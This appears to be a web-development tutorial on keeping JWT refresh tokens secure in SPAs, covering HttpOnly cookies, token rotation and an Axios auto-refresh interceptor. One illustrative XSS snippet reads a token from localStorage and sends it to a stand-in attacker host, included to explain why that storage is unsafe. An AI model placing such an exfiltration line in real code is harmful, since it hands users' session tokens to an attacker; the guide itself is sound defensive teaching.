Introduction
Modern SPAs (React, Vue, Next.js, etc.) often rely on JWT-based authentication. After login, the server issues two tokens:
- Access Token for authenticating each request
- Refresh Token for renewing the Access Token without forcing a new login
The main question:
Where and how do we keep these tokens on the frontend so they stay secure and still deliver a smooth UX?
This guide focuses on refresh tokens — the risks, the right architecture, and a hands-on implementation for the frontend.
Access Token vs. Refresh Token
Access Token
- Short-lived (e.g., 5–15 minutes)
- Sent with every request (usually
Authorization: Bearer <token>) - If stolen, usable until it expires
Refresh Token
A longer-lived, sensitive token whose only job is to:
Issue a new Access Token without forcing the user to log in again.
As long as the Refresh Token is valid, the user can close the tab, come back hours or days later, and still be signed in.
Why bother with a Refresh Token?
With only an Access Token you have two bad choices:
- Make it short-lived → users get prompted to log in often → bad UX
- Make it long-lived → if stolen, attackers keep access for a long time → bad security
The split solves this:
- Access Token → short-lived → lower risk
- Refresh Token → longer-lived → good UX
Key differences
| Feature | Access Token | Refresh Token |
|---|---|---|
| Purpose | Auth each request | Issue a new Access Token |
| Lifetime | Short (minutes) | Long (hours/days) |
| Usage | Sent with every request | Only on refresh endpoint (e.g., /auth/refresh) |
| Suggested storage | In-memory / secure storage | HttpOnly secure cookie on backend domain |
| Risk if stolen | Medium | High (can mint many Access Tokens) |
The full auth flow with refresh
-
Login
- User sends credentials.
- Server returns an Access Token and sets a Refresh Token as an HttpOnly + Secure cookie.
-
Normal requests
- Frontend reads the Access Token (from memory) and sets
Authorization. - Server validates and responds.
- Frontend reads the Access Token (from memory) and sets
-
Access Token expires
- Server returns 401 Unauthorized.
- Frontend detects expiry and calls
/auth/refresh(Refresh Token is sent automatically via cookie).
-
New tokens
- Server validates the Refresh Token.
- If valid:
- Returns a new Access Token.
- Usually issues a new Refresh Token (Token Rotation).
- Frontend stores the new Access Token and retries the original request.
-
Logout
- Frontend calls
POST /auth/logout. - Server invalidates the Refresh Token and clears/expires the cookie.
- Frontend calls
Never store Refresh Tokens in localStorage
Tempting, but unsafe:
// Unsafe — don't do this
localStorage.setItem("refresh_token", REFRESH_TOKEN);
Because localStorage is readable by JavaScript, an XSS bug lets attackers steal the token:
// XSS example
const refreshToken = localStorage.getItem("refresh_token");
fetch("https://attacker.com/steal?rt=" + encodeURIComponent(refreshToken));
With a stolen Refresh Token, an attacker can mint fresh Access Tokens from anywhere.
Avoid localStorage/sessionStorage for Refresh Tokens.
Best practice storage
For SPAs:
-
Access Token in memory
- A simple variable or state manager (Redux, Zustand, etc.)
- Lost on full page reload → but Refresh Token issues a new one.
-
Refresh Token in an HttpOnly Secure Cookie
- Set by the server on the backend domain.
- Key flags:
HttpOnly→ JavaScript can’t read it (XSS-resistant).Secure→ HTTPS only.SameSite=StrictorLax→ lowers CSRF risk.
Example login response header:
Set-Cookie: refresh_token=<token_value>;
HttpOnly;
Secure;
Path=/auth/refresh;
SameSite=Strict;
Max-Age=1209600
Path=/auth/refresh→ only sent on refresh calls.SameSite=Strict→ avoids cross-site sends (CSRF reduction).
Token Rotation (why it matters)
Token Rotation means:
Every time you use a Refresh Token to get a new Access Token, the server also issues a brand-new Refresh Token and invalidates the old one.
Benefits:
- A stolen old Refresh Token dies after your next refresh.
- Concurrent use from different IPs flags suspicious activity so the server can close the session.
Simple flow:
- Request
/auth/refreshwith Refresh Token #1. - Server invalidates #1, returns Access Token + Refresh Token #2.
- Next time, only #2 works.
Practical frontend setup (Axios)
1) Keep the Access Token in memory
// authStore.js
let accessToken = null;
export function setAccessToken(token) {
accessToken = token;
}
export function getAccessToken() {
return accessToken;
}
export function clearAccessToken() {
accessToken = null;
}
During login:
import axios from "axios";
import { setAccessToken } from "./authStore";
export async function login(email, password) {
const res = await axios.post("/auth/login", { email, password }, {
withCredentials: true, // to send/receive HttpOnly cookie
});
setAccessToken(res.data.access_token);
}
Note: The Refresh Token is set as an HttpOnly cookie by the backend; the frontend never reads it directly.
2) Add the Access Token to requests (request interceptor)
import axios from "axios";
import { getAccessToken } from "./authStore";
const api = axios.create({
baseURL: "/api",
withCredentials: true, // send refresh cookie when needed
});
api.interceptors.request.use((config) => {
const token = getAccessToken();
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
export default api;
3) Handle 401 and auto-refresh (response interceptor)
import api from "./api";
import { setAccessToken, clearAccessToken } from "./authStore";
let isRefreshing = false;
let pendingRequests = [];
function subscribeTokenRefresh(callback) {
pendingRequests.push(callback);
}
function onRefreshed(newToken) {
pendingRequests.forEach((cb) => cb(newToken));
pendingRequests = [];
}
async function refreshToken() {
const res = await api.post("/auth/refresh"); // HttpOnly cookie sent automatically
const newAccessToken = res.data.access_token;
setAccessToken(newAccessToken);
return newAccessToken;
}
api.interceptors.response.use(
(response) => response,
async (error) => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
if (!isRefreshing) {
isRefreshing = true;
try {
const newToken = await refreshToken();
isRefreshing = false;
onRefreshed(newToken);
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return api(originalRequest);
} catch (err) {
isRefreshing = false;
clearAccessToken();
// window.location.href = "/login";
return Promise.reject(err);
}
}
return new Promise((resolve) => {
subscribeTokenRefresh((newToken) => {
originalRequest.headers.Authorization = `Bearer ${newToken}`;
resolve(api(originalRequest));
});
});
}
return Promise.reject(error);
}
);
Key points:
- Only one
/auth/refreshcall runs at a time. - Other requests that hit 401 queue up and retry after refresh.
- After a successful refresh, all queued requests replay with the new token.
Secure logout
import api from "./api";
import { clearAccessToken } from "./authStore";
export async function logout() {
try {
await api.post("/auth/logout");
} finally {
clearAccessToken();
// window.location.href = "/login";
}
}
Steps:
- Clear the Access Token in the frontend.
- Ask the backend to invalidate the Refresh Token and clear/expire the cookie.
Notes for SSR frameworks (Next.js)
- Keep the Refresh Token in an HttpOnly cookie.
- In API Routes/Route Handlers, read and validate the Refresh Token from the cookie.
- For Access Tokens:
- On server-render, read from cookies/headers and pass only needed data to the client.
- Or keep the whole refresh logic server-side and expose a secure session to the client.
Security checklist
- Don’t store Refresh Tokens in localStorage/sessionStorage
- Use HttpOnly + Secure cookies for Refresh Tokens
- Keep Access Token in memory
- Implement Token Rotation on the backend
- Use
SameSite=StrictorLaxto reduce CSRF - Enforce HTTPS in real environments
- Add an auto-refresh layer on the frontend (401 interceptor)
- Implement secure logout that invalidates Refresh Tokens server-side
- Monitor logs for suspicious Refresh Token usage
Conclusion
Refresh tokens balance security and UX for modern frontends. Use the pattern:
- Short-lived Access Token in memory
- Long-lived Refresh Token in an HttpOnly Secure Cookie
- Token Rotation to limit blast radius
Implement this flow and you’ll add a strong security layer without forcing users through constant re-logins. Happy coding! 🚀
